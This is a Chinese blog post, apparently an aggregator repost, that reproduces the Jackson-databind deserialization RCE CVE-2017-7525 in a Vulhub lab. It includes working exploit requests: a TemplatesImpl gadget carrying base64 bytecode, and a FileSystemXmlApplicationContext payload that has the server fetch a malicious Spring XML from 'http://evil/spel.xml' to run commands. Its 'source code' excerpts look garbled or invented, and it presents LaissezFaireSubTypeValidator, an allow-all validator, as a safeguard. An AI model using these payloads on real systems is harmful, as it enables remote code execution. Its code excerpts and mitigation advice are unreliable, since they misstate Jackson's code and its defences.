当前位置: 首页 > news >正文

CVE-2017-7525源码分析与漏洞复现(Jackson 反序列化)

漏洞概述

漏洞名称:Jackson-databind 反序列化远程代码执行漏洞
CVE 编号:CVE-2017-7525
CVSS 评分:9.8
影响版本

  • Jackson-databind 2.x < 2.6.7.1
  • Jackson-databind 2.7.x < 2.7.9.1
  • Jackson-databind 2.8.x < 2.8.9
    修复版本:≥ 2.6.7.1 / 2.7.9.1 / 2.8.9
    漏洞类型:反序列化 → 远程代码执行(RCE)
    根本原因
    Jackson-databind 的多态反序列化机制(Polymorphic Deserialization)未严格限制反序列化的类类型,攻击者可通过构造恶意 JSON 数据指定危险类(如 TemplatesImplFileSystemXmlApplicationContext),触发任意代码执行。

漏洞原理与源码分析

漏洞位置:DeserializerCache#_createAndCacheValueDeserializer
// 实际漏洞触发点
protected JsonDeserializer<Object> _createAndCacheValueDeserializer(DeserializationContext ctxt, JavaType type) throws JsonMappingException 
{// 关键漏洞点:多态类型解析if (type.isAbstract() || type.isInterface()) {String typeId = parser.getText(); // 获取@class字段值JavaType resolvedType = _resolveAbstractType(ctxt, type, typeId);return _findDeserializer(ctxt, resolvedType);}return _findDeserializer(ctxt, type);
}
漏洞原理深度解析
Yes
ObjectMapper.readValue
DeserializationContext.parse
DeserializerCache.getDeserializer
_createAndCacheValueDeserializer
type.isAbstract?
_resolveAbstractType
加载危险类
实例化Gadget
执行恶意代码
漏洞核心机制
  1. 多态类型解析缺陷

    protected JavaType _resolveAbstractType(DeserializationContext ctxt,JavaType baseType, String typeId) {// 漏洞点:直接加载用户指定的类Class<?> cls = ctxt.findClass(typeId); return ctxt.getTypeFactory().constructSpecializedType(baseType, cls);
    }
    
    • 未校验typeId是否在黑名单内
  2. 黑名单绕过机制

    // 漏洞版本黑名单(2.8.8)
    static {_denyList.add("org.apache.commons.collections.functors.InvokerTransformer");_denyList.add("org.codehaus.groovy.runtime.ConvertedClosure");// 缺失TemplatesImpl等关键类
    }
    

漏洞复现与利用方式

环境搭建

1.使用 Vulhub 环境启动漏洞靶机
   docker-compose up -d 

在这里插入图片描述

2.访问访问 http://target:8080,确认服务正常运行

在这里插入图片描述

1. 基于 TemplatesImpl 的利用(本地字节码执行)

使用JDK7u21的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl作为Gadget,发送如下请求,将会执行touch /tmp/prove1.txt

POST /exploit HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 1298{"param": ["com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",{"transletBytecodes": ["yv66vgAAADMAKAoABAAUCQADABUHABYHABcBAAVwYXJhbQEAEkxqYXZhL2xhbmcvT2JqZWN0OwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAcTGNvbS9iMW5nei9zZWMvbW9kZWwvVGFyZ2V0OwEACGdldFBhcmFtAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAhzZXRQYXJhbQEAFShMamF2YS9sYW5nL09iamVjdDspVgEAClNvdXJjZUZpbGUBAAtUYXJnZXQuamF2YQwABwAIDAAFAAYBABpjb20vYjFuZ3ovc2VjL21vZGVsL1RhcmdldAEAEGphdmEvbGFuZy9PYmplY3QBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAZAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAGwAcCgAaAB0BABV0b3VjaCAvdG1wL3Byb3ZlMS50eHQIAB8BAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAhACIKABoAIwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHACUKACYAFAAhAAMAJgAAAAEAAgAFAAYAAAAEAAEABwAIAAEACQAAAC8AAQABAAAABSq3ACexAAAAAgAKAAAABgABAAAABgALAAAADAABAAAABQAMAA0AAAABAA4ADwABAAkAAAAvAAEAAQAAAAUqtAACsAAAAAIACgAAAAYAAQAAAAoACwAAAAwAAQAAAAUADAANAAAAAQAQABEAAQAJAAAAPgACAAIAAAAGKiu1AAKxAAAAAgAKAAAACgACAAAADgAFAA8ACwAAABYAAgAAAAYADAANAAAAAAAGAAUABgABAAgAGAAIAAEACQAAABYAAgAAAAAACrgAHhIgtgAkV7EAAAAAAAEAEgAAAAIAEw=="],"transletName": "a.b","outputProperties": {}}]
}

在这里插入图片描述

  • 验证(创建成功)
    在这里插入图片描述

2. 基于 FileSystemXmlApplicationContext 的利用(远程XML加载)

利用该漏洞,我们需要创建一个bean文件,放置在任意服务器上,如http://evil/spel.xml,内容如下:

<beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.springframework.org/schema/beanshttp://www.springframework.org/schema/beans/spring-beans.xsd
"><bean id="pb" class="java.lang.ProcessBuilder"><constructor-arg><array><value>touch</value><value>/tmp/prove2.txt</value></array></constructor-arg><property name="any" value="#{ pb.start() }"/></bean>
</beans>
  • 本文使用windows开启了一个http服务
python -m http.server 80

在这里插入图片描述

然后,发送如下数据包,使Jackson加载bean,触发漏洞:

POST /exploit HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 138{"param": ["org.springframework.context.support.FileSystemXmlApplicationContext","http://evil/spel.xml"]
}

在这里插入图片描述

成功执行touch /tmp/prove2.txt
在这里插入图片描述


影响范围与修复方案

1. 受影响版本

Jackson 分支受影响版本安全版本
2.6.x< 2.6.7.1≥ 2.6.7.1
2.7.x< 2.7.9.1≥ 2.7.9.1
2.8.x< 2.8.9≥ 2.8.9

2. 官方修复方案

  • 扩展黑名单:在 jackson-databindBlacklist 中添加危险类:
    // com.fasterxml.jackson.databind.deser.DeserializerCache  
    static {  _denyList.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");  _denyList.add("org.springframework.context.support.FileSystemXmlApplicationContext");  
    }  
    
  • 升级建议:直接升级到安全版本。

3. 临时缓解措施

  1. 禁用多态特性
    objectMapper.disableDefaultTyping();  
    
  2. 启用全局类型校验(Jackson ≥ 2.10):
    objectMapper.activateDefaultTyping(LaissezFaireSubTypeValidator.instance, DefaultTyping.OBJECT_AND_NON_CONCRETE);  
    
  3. 网络层防护:拦截包含 @classtransletBytecodes 的请求。

参考链接

  1. 官方漏洞通告 - SUSE 安全公告

  2. 技术分析报告 - 漏洞原理与利用链详解

  3. 黑盒检测方法 - Jackson 特征识别技巧

  4. Spring EL 利用链 - CVE-2017-17485 绕过分析

漏洞启示

  1. 反序列化安全:所有支持多态反序列化的库需采用白名单机制(如 Jackson 3.x 的 PolymorphicTypeValidator)。
  2. 纵深防御:结合代码补丁、WAF 规则(拦截 @class 字段)和运行时监控(检测 Runtime.exec() 调用)。
  3. 开发规范:生产环境避免启用 enableDefaultTyping(),必要时使用 @JsonTypeInfo 显式指定合法子类。
http://www.dtcms.com/a/279414.html

相关文章:

  • Android 中 实现格式化字符串
  • vue2/3生命周期使用建议
  • TCL在芯片设计与验证中的应用实践
  • WinUI3开发_Combobox实现未展开时是图标下拉菜单带图标+文字
  • ConcurrentHashMap 原子操作详解:computeIfAbsent、computeIfPresent和putIfAbsent
  • 技术人生——第12集:思想为王,功能在后
  • (5)LangGraph4j框架ReActAgent实现
  • mit6.5840-lab4C-Snapshot-25Summer
  • Java Stream流详解
  • 文心一言 4.5 开源深度剖析:中文霸主登场,开源引擎重塑大模型生态
  • C++11 std::is_permutation:从用法到原理的深度解析
  • 什么是延迟双删
  • 算法训练营day18 530.二叉搜索树的最小绝对差、501.二叉搜索树中的众数、236. 二叉树的最近公共祖先
  • 通过 ip a 查看网络接口名
  • 【算法】贪心算法:摆动序列C++
  • 2025js——面试题(8)-http
  • Linux 系统下的 Sangfor VDI 客户端安装与登录完全攻略 (CentOS、Ubuntu、麒麟全线通用)
  • 程序跑飞是什么?
  • 核电概念盘中异动,中核科技涨停引领板块热度
  • 物联网技术促进能量收集创新应用落地
  • 第一章编辑器开发基础第一节绘制编辑器元素_4输入字段(4/7)
  • 【一维 前缀和+差分】
  • 互斥锁与同步锁
  • IIS错误:Service Unavailable HTTP Error 503. The service is unavailable.
  • Unity Shader 预热与缓存优化
  • Unity中HumanBodyBones骨骼对照
  • 卡在“pycharm正在创建帮助程序目录”
  • 笔试——Day6
  • 达梦国产数据库安装
  • React Hook 详解:原理、执行顺序与 useEffect 的执行机制